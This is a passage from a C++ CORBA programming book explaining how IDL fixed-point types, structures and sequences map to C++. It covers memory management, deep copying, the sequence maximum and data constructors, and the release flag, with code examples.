digits to 1 and the scale to 0—that is, the value has the type fixed<1,0>. 
 
Constructing a Fixed value from an integral value sets the digits to the smallest value 
that can hold all the value's digits and sets the scale to zero: 
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Fixed f = 999; // As if IDL type fixed<3,0> 
 
      
Constructing a Fixed value from a floating-point value sets the digits to the smallest 
value that can represent the floating-point value. The scale is set to preserve as much of 
the fractional part of the floating-point value as possible, truncating at the relevant digit. 
Here are a few examples: 
       
Fixed f1 = 1000.0;         // As if IDL type fixed<4,0> 
Fixed f2 = 1000.05;        // As if IDL type fixed<6,2> 
Fixed f3 = 0.1;            // Typically as if IDL type fixed<18,17> 
Fixed f4 = 1E30;           // As if IDL type fixed<31,0> 
Fixed f5 = 1E29 + 0.89;    // As if IDL type fixed<31,1>,  // value is 
1E29 + 0.8 
 
      
Note that initialization from floating-point values can result in surprising digits and scale 
because of the vagaries of binary floating-point representation. For example, the value 
0.1 results in an actual value of 0.10000000000000001 in many implementations. Also 
note that even though the value 1E29 + 0.89 is treated as 1E29 + 0.8 for the 
purpose of truncation, it is unlikely that your C++ compiler will be able to represent 
floating-point numbers with the required precision. For example, on many 
implementations, the Fixed value will be initialized to 
99999999999999991000000000000 instead. 
 
Initialization with a value that has more than 31 integral digits throws a 
DATA_CONVERSION exception (see Section 7.15 for details on exception handling): 
       
Fixed f = 1E32;      //   Throws DATA_CONVERSION 
 
      
Constructing a Fixed value from a string follows the rules for IDL fixed-point constants 
(see Section 4.21.4). Leading and trailing zeros are ignored, and a trailing "D" or "d" 
is optional: 
       
Fixed f1 = "1.3";  // As if fixed<2,1> 
Fixed f2 = "01.30D"; // As if fixed<2,1> 
 
      
Note that for initialization of strings, the digits and scale of the value are set precisely 
according to the rules in Section 4.21.4, whereas initialization from floating-point 
values may result in a much larger number of digits than you would expect, depending on 
how accurately a value can be represented as a floating-point number. For that reason, it 
is probably best to avoid initialization from floating-point numbers. 

6.12.2 Accessors 

The fixed_digits and fixed_scale member functions return the total number of 
digits and the number of fractional digits respectively: 
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Fixed f = "3.14D"; 
cout < f.fixed_digits() < endl; // Prints 3 
cout < f.fixed_scale() < endl;  // Prints 2 
 
      

6.12.3 Conversion Operators 

The LongLong conversion operator converts a Fixed value back into a LongLong 
value, ignoring fractional digits. If the integral part of a Fixed value exceeds the range 
of LongLong, the operator throws a DATA_CONVERSION exception. 
The LongDouble conversion operator converts a Fixed value to Long-Double. 

6.12.4 Truncation and Rounding 

The truncate member function returns a new Fixed value with the specified digits 
and scale, truncating fractional digits if necessary: 
       
Fixed f = "0.999"; 
cout < f.truncate(0) < endl; // Prints 0 
cout < f.truncate(1) < endl; // Prints 0.9 
cout < f.truncate(2) < endl; // Prints 0.99 
 
      
The round member function returns a new Fixed value with the specified digits and 
scale, rounded to the specified digit: 
       
Fixed r; 
 
Fixed f1 = "0.4"; 
Fixed f2 = "0.45"; 
Fixed f3 = "-0.445"; 
 
r = f1.round(0);           // 0 
r = f1.round(1);           // 0.4 
 
r = f2.round(0);           // 0 
r = f2.round(1);           // 0.5 
 
r = f3.round(1);           // -0.4 
r = f3.round(2);           // -0.45 
 
      
Neither truncate nor round modifies the value it is applied to; instead, they return a 
new value. 

6.12.5 Arithmetic Operators 

The Fixed class provides the usual set of arithmetic operators. Arithmetic is carried out 
internally with at least 62-digit precision, and the result is coerced to fit a maximum of 31 
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digits, truncating fractional digits. If the result of an arithmetic operation exceeds 31 
integral digits, arithmetic operators throw a DATA_CONVERSION exception. 

6.12.6 Stream Operators 

The Fixed mapping provides stream insertion (<) and extraction (>>) operators. They 
work like their floating-point counterparts; that is, you can control padding and precision 
using the usual stream features. 

6.13 Mapping for Structures 

The C++ mapping treats fixed-length structures differently from variable-length 
structures, particularly with respect to parameter passing (see Section 7.14). We first 
examine the mapping for fixed-length structures and then show the mapping and memory 
management rules for variable-length structures. 

6.13.1 Mapping for Fixed-Length Structures 

IDL structures map to C++ structures with corresponding members. For example: 
       
struct Details { 
    double          weight; 
    unsigned long   count; 
}; 
 
      
This IDL maps to 
       
class Details_var; 
 
struct Details { 
    CORBA::Double   weight; 
    CORBA::ULong    count; 
    typedef Details_var _var_type; 
    // Member functions here... 
}; 
 
      
Note that the structure may have member functions, typically class-specific operator 
new and operator delete. These member functions allow use of the ORB on 
platforms that have non-uniform memory management. However, any additional member 
functions in the structure are purely internal to the mapping; you should ignore them and 
write your code as if they did not exist. The _var_type definition is used for template-
based programming, and we show an example of its use in Section 18.14.1. 
 
You can use the generated structure just as you use any other C++ structure in your code. 
For example: 
       
Details d; 
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d.weight = 8.5; 
d.count = 12; 
 
      
C++ permits static initialization of aggregates. A class, structure, or array is an aggregate 
if it does not have user-declared constructors, base classes, virtual functions, or private or 
protected non-static data members. The preceding structure is an aggregate, so you can 
initialize it statically: 
       
Details d = { 8.5, 12 }; 
 
      
Some C++ compilers have problems with aggregate initializations, so use the feature with 
caution. 

6.13.2 Mapping for Variable-Length Structures 

The Details structure shown in the preceding section is a fixed-length type, so there 
are no memory management issues to consider. For variable-length structures, the C++ 
mapping must deal with memory management. Here is an example: 
       
struct Fraction { 
    double numeric; 
    string alphabetic; 
}; 
 
      
This structure is a variable-length type because one of its members is a string. Here is the 
corresponding C++ mapping: 
       
class Fraction_var; 
 
struct Fraction { 
    CORBA::Double  numeric; 
    CORBA::String_mgr alphabetic; 
    typedef Fraction_var _var_type; 
    // Member functions here... 
}; 
 
      
As before, you can pretend that any member functions in the structure do not exist. As 
you can see, the IDL string is mapped to a type String_mgr instead of String_var 
or char *. String_mgr behaves like a String_var except that the default 
constructor initializes the string to the empty string instead of initializing it to a null 
pointer. 
 
In general, strings nested inside user-defined types (such as structures, sequences, 
exceptions, and arrays) are always initialized to the empty string instead of to a null 
pointer. Initializing to the empty string for nested types is useful because it means that 
you need not explicitly initialize all string members inside a user-defined type before 



IT-SC book: Advanced CORBA® Programming with C++ 

 163

sending it across an IDL interface. (As you will see in Section 7.14.15, it is illegal to 
pass a null pointer across an IDL interface.)[2]  

[2] Note that initialization to the empty string for nested string members was introduced with 
CORBA 2.3. In CORBA 2.2 and earlier versions, you must explicitly initialize nested string 
members. 

If you look at the generated code for your ORB, you may find that the actual name of this 
class is something other than String_mgr, such as String_item or 
String_member. The exact name is not specified by the C++ mapping. For the 
remainder of this book, we use the name String_mgr whenever we show a string that 
is nested inside another data structure. A word of warning: do not use String_mgr (or 
its equivalent) as a type in your application code. If you do, you are writing non-portable 
code because the name of the type is not specified by the C++ mapping. Instead, always 
use String_var when you require a managed string type. 
 
Apart from the initialization to the empty string, String_mgr behaves like a 
String_var. After you assign a string to the member alphabetic, the structure 
takes care of the memory management for the string; when the structure goes out of 
scope, the destructor for alphabetic deallocates its string for you. String_mgr 
provides the same conversions as String_var, and String_mgr and String_var 
can be freely assigned to each other, so you can effectively forget about the existence of 
String_mgr. 
 
Automatic memory management is common to all structured types generated by the 
mapping. If a structure (or sequence, union, array, or exception) contains (perhaps 
recursively) a variable-length type, the structure takes care of the memory management 
of its contents. To you, this means that you need worry about the memory management 
only for the outermost type, and you need not worry about managing memory for the 
members of the type. 
 
Here is an example to make this concept more concrete: 
       
{ 
     Fraction f; 
     f.numeric = 1.0/3.0; 
     f.alphabetic = CORBA::string_dup("one third"); 
}  // No memory leak here 
 
      
Here, we declare a local variable f of type Fraction. The structure's constructor 
performs memberwise initialization. For the member numeric, it does nothing. 
However, the member alphabetic is a nested string, so the constructor initializes it to 
the empty string. 
 
The first assignment to the member numeric does nothing unusual. To assign to 
alphabetic, we must allocate memory, and alphabetic takes responsibility for 
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deallocating that memory again (the assignment invokes operator=(char *) on 
alphabetic). 
 
When f goes out of scope, its default destructor uses memberwise destruction and calls 
the destructor of alphabetic, which in turn calls CORBA::string_free. This 
means that there is no memory leak when f goes out of scope. 
 
Note that you cannot statically initialize f, because it is not a C++ aggregate (it contains 
a member with a constructor): 
       
Fraction f = { 1.0/3.0, "one third" }; // Compile-time error 
 
      
In general, variable-length structures can never be statically initialized, because they 
contain members that have constructors. 

6.13.2 Memory Management for Structures 

You can treat structures in much the same way that you treat any other variable in your 
program. Most of the memory management activities are taken care of for you. This 
means that you can freely assign structures and structure members to one another: 
       
{ 
    struct Fraction f1; 
    struct Fraction f2; 
    struct Fraction f3; 
     
    f1.numeric = .5; 
    f1.alphabetic = CORBA::string_dup("one half"); 
    f2.numeric = .25; 
    f2.alphabetic = CORBA::string_dup("one quarter"); 
    f3.numeric = .125; 
    f3.alphabetic = CORBA::string_dup("one eighth"); 
     
    f2 = f1;                           // Deep assignment 
    f3.alphabetic = f1.alphabetic;     // Deep assignment 
    f3.numeric = 1.0; 
    f3.alphabetic[3] = '\0';           // Does not affect f1 or f2 
    f1.alphabetic[0] = 'O';            // Does not affect f2 or f3 
    f1.alphabetic[4] = 'H';            // Ditto 
} // Everything deallocated OK here 
 
      

Figure 6.2 shows the initial and final values of the three structures for this example. As 
you can see, structure and member assignments make deep copies. Moreover, when the 
structures are deleted, the memory held by the three string members is automatically 
deallocated by the corresponding String_mgr destructor. 
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Figure 6.2 Structures before and after assignments. 

 
If you need to work with dynamically allocated structures, you use new and delete: 
       
Fraction * fp = new Fraction; 
fp->numeric = 355.0 / 113; 
fp->alphabetic = CORBA::string_dup("Pi, approximately"); 
// ... 
delete fp; 
 
      
There is no need to call special helper functions for allocation and deallocation. If such 
functions are required for non-uniform memory architectures, they are generated as class-
specific operator new and operator delete members of the structure. 

6.13.4 Structures Containing Structure Members 

Structure members that are themselves structures do not require any special mapping 
rules: 
       
struct Fraction { 
    double numeric; 
    string alphabetic; 
}; 
 
struct Problem { 
    string expression; 
    Fraction result; 
    boolean  is_correct; 
}; 
 
      
This generates the following mapping: 
       
struct Fraction { 
    CORBA::Double numberic; 
    CORBA::String_mgr alphabetic; 
    // ... 
}; 
 
struct Problem { 
    CORBA::String_mgr expression; 
    Fraction result; 
    CORBA::Boolean  is_correct; 
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    // ... 
}; 
 
      
Using a variable of type Problem follows the usual rules for initialization and 
assignment. For example: 
       
Problem p; 
p.expression = CORBA::string_dup("7/8"); 
p.result.numeric = 0.875; 
p.result.alphabetic = CORBA::string_dup("seven eighth s"); 
p.is_correct = 1; 
 
Problem * p_ptr = new Problem; 
*p_ptr = p; // Deep assignment 
// 
// It would be more efficient to use 
// Problem * p_ptr = new Problem(p); // (deep) copy constructor 
// 
delete p_ptr; // Deep deletion 
 

6.14 Mapping for Sequences 

The mapping for sequences is large, mainly because sequences permit you to control 
allocation and ownership of the buffer that holds sequence elements. We discuss simple 
uses of unbounded sequences first and then show how you can use more advanced 
features to efficiently insert and extract data. The advanced features are particularly 
useful if you need to transmit binary data as an octet sequence. Finally, we explain the 
mapping for bounded sequences, which is a subset of the mapping for unbounded 
sequences. 

6.14.1 Mapping for Unbounded Sequences 

IDL sequences are mapped to C++ classes that behave like vectors with a variable 
number of elements. Each IDL sequence type results in a separate C++ class. For 
example: 
       
typedef sequence<string> StrSeq; 
 
      
This maps to C++ as follows: 
       
class StrSeq_var; 
 
class StrSeq { 
public: 
                            StrSeq(); 
                            StrSeq(CORBA::ULong max); 
                            StrSeq( 
                                CORBA::ULong max, 
                                CORBA::ULong len, 
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                                char **  data, 
                                CORBA::Boolean release = 0 
                            ); 
                            ~StrSeq(); 
                             
                            StrSeq(const StrSeq &); 
    StrSeq &            operator=(const StrSeq &); 
     
    CORBA::String_mgr & operator[](CORBA::ULong idx); 
    const char *            operator[](CORBA::ULong idx) const; 
     
    CORBA::ULong            length() const; 
    void                    length(CORBA::ULong newlen); 
    CORBA::ULong            maximum() const; 
     
    CORBA::Boolean          release() const; 
    void                    replace( 
                                CORBA::ULong max, 
                                CORBA::ULong length, 
                                char **   data, 
                                CORBA::Boolean release = 0 
                            ); 
                             
    const char **           get_buffer() const; 
    char **                 get_buffer(CORBA::Boolean orphan = 0); 
     
    static char **          allocbuf(CORBA::ULong nelems); 
    static void             freebuf(char ** data); 
     
    typedef StrSeq_var _var_type; 
}; 
 
      
This class is complicated. To get through all the definitions without too much pain, we 
discuss basic usage first and then cover the more esoteric member functions.[3]  

[3] The _var_type definition generated into the class is useful for template-based 
programming. We show an example in Section 18.14.1. 

       
StrSeq() 
 
      
The default constructor creates an empty sequence. Calling the length accessor of a 
default-constructed sequence returns the value 0. The internal maximum of the sequence 
is set to 0. 
       
StrSeq(const StrSeq &) 
StrSeq & operator=(const StrSeq &) 
 
      
The copy constructor and assignment operator make deep copies. The assignment 
operator first destroys the target sequence before making a copy of the source sequence 
(unless the release flag is set to false;). If the sequence elements are variable-length, 
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the elements are deep-copied using their copy constructor. The internal maximum of the 
target sequence is set to the same value as the internal maximum of the source sequence. 
       
~StrSeq() 
 
      
The destructor destroys a sequence. If the sequence contains variable-length elements, 
dynamic memory for the elements is also released (unless the release flag is set to 
false;). 
       
CORBA::ULong length() const 
 
      
The length accessor simply returns the current number of elements in the sequence. 
       
void length(CORBA::ULong newlen) 
 
      
The length modifier changes the length of the sequence. 
 
Increasing the length of a sequence creates newlen - length() new elements. The 
new elements are appended to the tail. Growing a sequence initializes the newly 
appended elements with their default constructor. (If the appended elements are strings or 
are complex types containing strings, the strings are initialized to the empty string.) 
 
Decreasing the length of a sequence truncates the sequence by destroying the length() 
- newlen elements at the tail. If you truncate a sequence by reducing its length, the 
truncated elements are permanently destroyed. You cannot expect the previously 
truncated elements to still be intact after you increase the length again. 
       
CORBA::String_mgr & operator[](CORBA::ULong idx) 
const char * operator[](CORBA::ULong idx) const 
 
      
The subscript operators provide access to the sequence elements (the operator is 
overloaded to allow use of sequence elements in both rvalue and lvalue contexts). In this 
example, using a sequence of strings, the return values are String_mgr and const 
char *, respectively. In general, for a sequence containing elements of type T, these 
operators return values of type T & and const T &, respectively. You may find that 
the actual type is something other than a reference to a T, depending on exactly how your 
ORB implements sequences. However, whatever type is returned, it will behave as if it 
were a reference to a T. 
 
Sequences are indexed from 0 to length() - 1. Attempts to index into a sequence 
beyond its current length result in undefined behavior, and many ORBs will force a core 
dump to alert you of this run-time error. 
 
If you do not like this, consider the alternatives: either you can run on blindly, happily 
corrupting memory as you go, or the ORB could throw an exception when a sequence 
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index is out of bounds. However, that would not do you much good. After all, indexing a 
sequence out of bounds is a serious run-time error (just as overrunning an array is). What 
would be the point of throwing an exception? None—it would just tell you that you have 
a bug in your code. 

Simple Use of Sequences 

The few member functions we have just discussed are sufficient to make use of 
sequences. The following example demonstrates use of a sequence. The string elements 
behave like String_mgr instances: 
        
const char * values[] = { "first", "second", "third", "fourth" }; 
 
StrSeq myseq;       // Create empty sequence 
 
// Create four empty strings 
myseq.length(4); 
for (CORBA::ULong i = 0; i < myseq.length(); i++) 
    myseq[i] = values[i];                   // Deep copy 
     
// Print current contents 
for (CORBA::ULong i = 0; i < myseq.length(); i++) 
    cout < "myseq[" < i < "] = \"" < myseq[i] <"\"" < endl; 
cout < endl; 
 
// Change second element (deallocates "second") 
myseq[1] = CORBA::string_dup("second element"); 
// Truncate to three elements 
myseq.length(3);                // Deallocates "fourth" 
 
// Grow to five elements (add two empty strings) 
myseq.length(5); 
 
// Initialize appended elements 
myseq[3] = CORBA::string_dup("4th"); 
myseq[4] = CORBA::string_dup("5th"); 
 
// Print contents once more 
for (CORBA::ULong i = 0; i < myseq.length(); i++) 
    cout < "myseq[" < i < "] = \"" < myseq[i] <"\"" < endl; 
 
       
This code produces the following output: 
        
myseq[0] = "first" 
myseq[1] = "second" 
myseq[2] = "third" 
myseq[3] = "fourth" 
 
myseq[0] = "first" 
myseq[1] = "second element" 
myseq[2] = "third" 
myseq[3] = "4th" 
myseq[4] = "5th" 
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Once myseq goes out of scope, it invokes the destructor for its elements, so all the 
strings in the sequence are deallocated properly. 
To manage heap-allocated sequences, use new and delete: 
        
StrSeq * ssp = new StrSeq; 
ssp->length(4); 
for (CORBA::ULong i = 0; i < ssp->length(); i++) 
    (*ssp)[i] = values[i]; 
// ... 
delete ssp; 
 
       
If special allocation rules apply for non-uniform memory architectures, the sequence 
class contains appropriate class-specific allocation and deallocation operators. 
You may be worried by the expression 
        
(*ssp)[i] = values[i]; 
 
       
Dereferencing the pointer is necessary, because we need an expression of type StrSeq 
for the subscript operator. If we instead write 
        
ssp[i] = values[i]; // Wrong!!! 
 
       
the compiler assumes that we are dealing with an array of sequences and are assigning a 
const char * to the i-th sequence, which causes a compile-time error. 

Controlling the Sequence Maximum 

When you construct a sequence variable, you can supply an anticipated maximum 
number of elements using the maximum constructor: 
        
StrSeq myseq(10); // Expect to put ten elements on the sequence 
myseq.length(20); // Maximum does *not* limit length of sequence 
for (CORBA::ULong i = 0; i < myseq.length(); i++) 
    // Initialize elements 
 
       
As you can see, even though this code uses an anticipated maximum of 10 elements, it 
then proceeds to add 20 elements to the sequence. This is perfectly all right. The 
sequence extends the maximum as necessary to accommodate the additional elements. 
 
Why bother with supplying an anticipated maximum? The answer has to do with how a 
sequence manages its buffer space internally. If you use the maximum constructor, the 
sequence sets an internal maximum to a value at least as large as the one you supply (the 
actual maximum may be set to a larger value than the one you supply). In addition, a 
sequence guarantees that elements will not be relocated in memory while the current 
length does not exceed the maximum. 
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Typically, you do not care about relocation of elements in memory unless you are 
maintaining pointers to the sequence elements. In that case, you must know when 
sequence elements may relocate in memory because relocation will invalidate your 
pointers. 
 
Another reason for supplying a maximum is efficiency. If the sequence has some idea of 
the expected number of elements, it can chunk memory allocations more efficiently. This 
approach reduces the number of calls to the memory allocator and reduces the number of 
times elements need to be copied as the sequence grows in length. (Memory allocation 
and data copying are expensive.) 
 
You can retrieve the current maximum of a sequence by invoking the maximum member 
function. The following small program appends octets to a sequence one octet at a time 
and prints the maximum every time it changes: 
        
int 
main() 
{ 
    BinaryFile s(20); // IDL: typedef sequence<octet> BinaryFile; 
     
    CORBA::ULong max = s.maximum(); 
    cout < "Initial maximum: " < max < endl;  
     
    for (CORBA::ULong i = 0; i < 256; i++) { 
        s.length(i + 1); 
        if (max != s.maximum()) { 
            max = s.maximum(); 
            cout < "New maximum: " < max < endl; 
        } 
        s[i] = 0; 
    } 
    return 0; 
} 
 
       
On a particular ORB, this code might produce the following output: 
        
Initial maximum: 64 
New maximum: 128 
New maximum: 192 
New maximum: 256 
 
       
This output allows you to reverse-engineer some knowledge about the sequence's internal 
implementation. In this particular implementation, the sequence uses chunked allocation 
of 64 elements at a time, so the maximum of 20 given to the constructor is rounded up to 
64. Thereafter, the sequence extends its internal buffer space by another 64 elements 
whenever the length is incremented beyond a multiple of 64. 
 
The same code, when run on a different ORB, might produce this output: 
        
Initial maximum: 20 
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New maximum: 21 
New maximum: 22 
New maximum: 23 
... 
New maximum: 255 
New maximum: 256 
 
       
In this implementation, the sequence simply allocates buffer space as needed for each 
element. 
 
For both implementations, whenever the maximum value changes, the actual octets may 
be relocated in memory, but they also may stay where they are, depending on the 
sequence implementation and the specific memory allocator in use. 
 
Be careful not to interpret too much into the maximum constructor and the behavior of 
sequences. 
 
The mapping does not guarantee that the maximum constructor will preallocate memory 
at the time it is called. Instead, allocation may be delayed until the first element is created. 
The mapping does not guarantee that the maximum constructor will allocate memory for 
exactly the requested number of elements. It may allocate more. 
 
The mapping does not guarantee that the maximum constructor will use a single 
allocation to accommodate the requested number of elements. It may allocate sequence 
elements in several discontiguous buffers. 
 
The mapping does not guarantee that sequence elements occupy a contiguous region of 
memory. To avoid the cost of relocating elements, the sequence may add new 
discontiguous buffer space as it is extended. 
 
The mapping does not guarantee that extending the length of a sequence immediately 
default-constructs the newly created elements. Although this would be far-fetched, the 
mapping implementation could delay construction until a new element is first assigned to 
and at that point create the element using its copy constructor. 
 
It should be clear that the maximum constructor is no more than a hint to the 
implementation of the sequence. If you create a sequence and have advance knowledge of 
the expected number of elements, then by all means, use the maximum constructor. It 
may help to get better run-time performance from the sequence. Otherwise, do not bother. 
 
Do not maintain pointers to sequence elements. If you do, you need to be extremely 
careful about reallocation. Usually, the trouble is not worth it. 

Using the Data Constructor 

The data constructor allows you to assign a preallocated buffer to a sequence. The main 
use of the data constructor is to efficiently transmit binary data as an octet sequence 
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without having to use bytewise copying. There are a number of problems associated with 
the data constructor, and we recommend that you do not use it unless you have an 
overriding reason; you may wish to skip this section and continue reading. Still, we 
describe the data constructor for completeness. 
 
The signature of the data constructor depends on the sequence element type. For example, 
for the sequence of strings shown on page 139, the signature is as follows: 
        
StrSeq(                 // IDL: typedef sequence<string> StrSeq; 
    CORBA::ULong        max, 
    CORBA::ULong        len, 
    char **             data, 
    CORBA::Boolean      release = 0 
); 
 
       
On the other hand, for a sequence of octets, the data constructor's signature becomes 
        
BinaryFile(             // IDL: typedef sequence<octet> BinaryFile; 
    CORBA::ULong        max, 
    CORBA::ULong        len, 
    CORBA::Octet *      data, 
    CORBA::Boolean      release = 0 
); 
 
       
Note that the data parameter is of type pointer to element. The idea is that you can 
provide a pointer to a buffer full of elements and have the sequence use that buffer for its 
internal storage. To see why this may be useful, consider the following scenario. 
 
Imagine you have a GIF image in a file and want to transmit that image to a remote 
server. The file contents are binary and need to get to the server without being tampered 
with in transit, so you decide to send the image as an octet sequence:[4]  

[4] A word of caution here: sending a binary file as shown will not work once the file size 
exceeds an ORB-dependent limit. We discuss how to get around this in Section 18.7. 

        
typedef sequence<octet> BinaryFile; 
interface BinaryFileExchange { 
   void         send(in BinaryFile f, in string file_name); 
   BinaryFile   fetch(in string file_name); 
}; 
 
       
On a UNIX system, a simple version of the code to initialize the sequence for 
transmission might look something like this (for simplicity, we have omitted error 
checking): 
        
int fd; 
fd = open("image.gif", O_RDONLY);        // Open file for reading 
struct stat st; 
fstat(fd, &st);                          // Get file attributes 
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CORBA::Octet * buf; 
buf = new CORBA::Octet[st.st_size];      // Allocate file buffer 
read(fd, buf, st.st_size);               // Read file contents 
 
BinaryFile image_seq(st.st_size);        // Create octet sequence 
image_seq.length(st.st_size);            // Set length of sequence 
 
// Fill sequence 
for (off_t i = 0; i < st.st_size; i++) 
    image_seq[i] = buf[i]; 
     
delete[] buf;                            // Don't need buffer anymore 
close(fd);                               // Done with file 
 
// Send octet sequence to server... 
 
       
The image file might be several hundred kilobytes long, but the preceding code copies 
the file contents into the octet sequence one byte at a time. Even if the sequence's 
subscript operator is inlined, this approach is still massively inefficient. 
 
We can avoid this problem by using the data constructor: 
        
// Open file and get attributes as before... 
CORBA::Octet * buf; 
buf = new CORBA::Octet[st.st_size]; // Allocate file buffer 
read(fd, buf, st.st_size);          // Read file contents 
close(fd);                          // Done with file 
 
// Initialize sequence with buffer just read 
BinaryFile image_seq(st.st_size, st.st_size, buf, 0); 
 
// Send octet sequence to server... 
 
delete[] buf;                       // Deallocate buffer 
 
       
The interesting line here is the call to the data constructor: 
        
BinaryFile image_seq(st.st_size, st.st_size, buf, 0); 
 
       
This call initializes both the maximum and the length of the sequence to the size of the 
file, passes a pointer to the buffer, and sets the release flag to false. The sequence now 
uses the passed buffer for its internal storage, thereby avoiding the cost of initializing the 
sequence one byte at a time. Setting the release flag to false indicates that we want to 
retain responsibility for memory management of the buffer. The sequence does not 
deallocate the buffer contents. Instead, the preceding code does this explicitly by calling 
delete [] when the sequence contents are no longer needed. 
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If you set the release flag to true, the sequence takes ownership of the passed buffer. 
In that case, the buffer must have been allocated with allocbuf, and the sequence 
deallocates the buffer with freebuf: 
        
// Open file and get attributes as before... 
CORBA::Octet * buf; 
buf = BinaryFile::allocbuf(st.st_size); // Allocate file buffer 
read(fd, buf, st.st_size);              // Read file contents 
 
// Initialize, sequence takes ownership 
BinaryFile image_seq(st.st_size, st.st_size, buf, 1); 
 
close(fd);                          // Done with file 
 
// Send octet sequence to server... 
 
// No need to deallocate buf here, the sequence 
// will deallocate it with BinaryFile::freebuf() 
 
       
The allocbuf and freebuf member functions are provided to deal with non-uniform 
memory architectures (for uniform architectures, they are simply implemented in terms of 
new [] and delete []). The allocbuf function returns a null pointer if it fails to 
allocate memory (it does not throw C++ or CORBA exceptions). It is legal to call 
freebuf with a null pointer. 
 
If you initialize a sequence with release set to true as shown earlier, you cannot make 
assumptions about the lifetime of the passed buffer. For example, a compliant (although 
inefficient) implementation may decide to immediately copy the sequence and deallocate 
the buffer. This means that after you have handed the buffer to the sequence, the buffer 
becomes private memory that is completely out of your control. 
 
If the release flag is true and the sequence elements are strings, the sequence will 
release memory for the strings when it deallocates the buffer. Similarly, if the release flag 
is true and the sequence elements are object references, the sequence will call 
CORBA::release on each reference. 
 
String elements are deallocated by a call to CORBA::string_free, so you must 
allocate them with CORBA::string_alloc. The following example shows use of a 
sequence of strings with the release flag set to true. The code reads lines of text from 
a file, making each line a sequence element. Again, for brevity, we have not included any 
error handling. (The code also causes lines longer than 512 characters to be split, which 
we will assume is acceptable.) 
        
char linebuf[512];                         // Line buffer 
 
CORBA::ULong len = 0;                      // Current sequence length 
CORBA::ULong max = 64;                     // Initial sequence max 
char ** strvec = StrSeq::allocbuf(max);    // Allocate initial chunk 
ifstream infile("file.txt");               // Open input file 
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infile.getline(linebuf, sizeof(linebuf));      // Read first line 
while (infile) {                               // While lines remain 
    if (len == max) { 
        // Double size if out of room 
        char ** tmp = StrSeq::allocbuf(max *= 2); 
        for (CORBA::ULong i = 0; i < len; i++) { 
            CORBA::string_free(tmp[i]); 
            tmp[i] = CORBA::string_dup(strvec[i]); 
        } 
         
        StrSeq::freebuf(strvec); 
        strvec = tmp; 
    } 
    strvec[len++] = CORBA::string_dup(linebuf);  // Copy line 
    infile.getline(linebuf, sizeof(linebuf));    // Read next line 
} 
 
StrSeq line_seq(max, len, strvec, 1);            // Initialize seq 
 
// From here, line_seq behaves like an ordinary string sequence: 
for (CORBA::ULong i = 0; i < line_seq.length(); i++) 
 
    cout < line_seq[i] < endl; 
 
line_seq.length(len + 1);                        // Add a line 
line_seq[len++] = CORBA::string_dup("last line"); 
 
line_seq[0] = CORBA::string_dup("first line");   // No leak here 
 
       
This example illustrates the memory management rules. The buffer that is eventually 
handed to the string sequence is strvec. This buffer is initialized by a call to 
StrSeq::allocbuf, with sufficient room to hold 64 strings. During the loop reading 
the file, the code checks whether the current maximum has been reached; if it has, the 
code doubles the maximum (this requires reallocating and copying the vector). Each line 
is copied into the vector by deallocating the previous string element and calling 
CORBA::string_dup. When the loop terminates, strvec is a dynamically allocated 
vector of pointers in which each element points at a dynamically allocated string. This 
vector is finally used to initialize the sequence with the release flag set to true, so the 
sequence assumes ownership of the vector. 
 
Once the sequence is initialized in this way, it behaves like an ordinary string sequence; 
that is, the elements are of type String_mgr, and they manage memory as usual. 
Similarly, the sequence can be extended or shortened and will take care of allocating and 
deallocating memory as appropriate. 
Contrast this with a string sequence with release set to false: 
        
// Assume that: 
// argv[0] == "a.out" 
// argv[1] == "first" 
// argv[2] == "second" 
// argv[3] == "third" 
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// argv[4] == "fourth" 
{ 
    StrSeq myseq(5, 5, argv);     // release flag defaults to 0 
    myseq[3] = "3rd";             // No deallocation, no copy 
    cout < myseq[3] < endl; // Prints "3rd" 
} // myseq goes out of scope but deallocates nothing 
cout < argv[1] < endl; // argv[1] intact, prints "first" 
cout < argv[3] < endl; // argv[3] was changed, prints "3rd" 
 
       
Because the release flag is false, the sequence uses shallow pointer assignment; it 
neither releases the target string "third" nor makes a copy of the source string "3rd". 
When the sequence goes out of scope, it does not release the string vector, so the 
assignment's effect is visible beyond the lifetime of the sequence. 
 
Be careful, though: assignment to a sequence element is not guaranteed to affect the 
original vector. By slightly modifying the preceding code, we get different behavior: 
        
// Assume that: 
// argv[0] == "a.out" 
// argv[1] == "first" 
// argv[2] == "second" 
// argv[3] == "third" 
// argv[4] == "fourth" 
{ 
    StrSeq myseq(5, 5, argv);       // release flag defaults to 0 
    myseq[3] = "3rd";               // No deallocation, no copy 
    cout < myseq[3] < endl;   // Prints "3rd" 
    myseq.length(10000);            // Force reallocation 
    myseq[1] = "1st";               // Shallow assignment 
    cout < myseq[1] < endl;   // Prints "1st"/  
} // deallocate whatever memory was allocated by length(10000) 
cout < argv[1] < endl;        // prints "first" (not "1st") 
cout < argv[3] < endl;        // prints "3rd" 
 
       
This example uses two assignments to sequence elements but separates them by a large 
increase in the length of the sequence. This increase in length is likely to cause 
reallocation. (It is not guaranteed to force reallocation. An implementation is free instead 
to allocate additional separate memory while keeping the original vector, even though 
such an implementation is unlikely.) The effect is that the first assignment (before 
reallocation) affects the original vector, but the second assignment (after reallocation) 
affects only an internal copy, which is deallocated when the sequence goes out of scope. 
This example demonstrates that initializing a sequence with release set to false 
requires a lot of caution. Unless you are very careful, you will leak memory or lose the 
effects of assignments. 
 
Never pass a sequence with release set to false as an inout parameter to an 
operation. Although the called operation can find out how the sequence was allocated, it 
will typically assume that release is set to true. If the actual sequence has release 
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set to false, assignment to sequence elements by the called operation can result in 
deallocation of non-heap memory, typically causing a core dump. 

Manipulating the Sequence Buffer Directly 

As you saw on page 180, sequences contain member functions to manipulate the buffer 
of a sequence directly. For the BinaryFile sequence, the generated code contains the 
following: 
        
class BinaryFile { 
public: 
                                   // Other member functions here... 
   void                            replace( 
                                       CORBA::ULong max, 
                                       CORBA::ULong length, 
                                       CORBA::Octet * data, 
                                       CORBA::Boolean release = 0 
                                   ); 
   const CORBA::Octet *            get_buffer() const; 
   CORBA::Octet *                  get_buffer(CORBA::Boolean orphan = 
0); 
   CORBA::Boolean                  release() const; 
}; 
 
       
These member functions let you directly manipulate the buffer underlying a sequence. 
The replace member function permits you to change the contents of a sequence by 
substituting a different buffer. The meaning of the parameters is the same as that for the 
data constructor. Obviously, the same caveats apply here as for shortening or lengthening 
of a sequence: if you are holding pointers into a sequence buffer and replace the buffer, 
the pointers are likely to point at garbage afterward. 
 
The get_buffer accessor function provides read-only access to the underlying buffer. 
(If you call get_buffer on a sequence that does not yet have a buffer, the sequence 
allocates a buffer first.) The get_buffer function is useful for efficient extraction of 
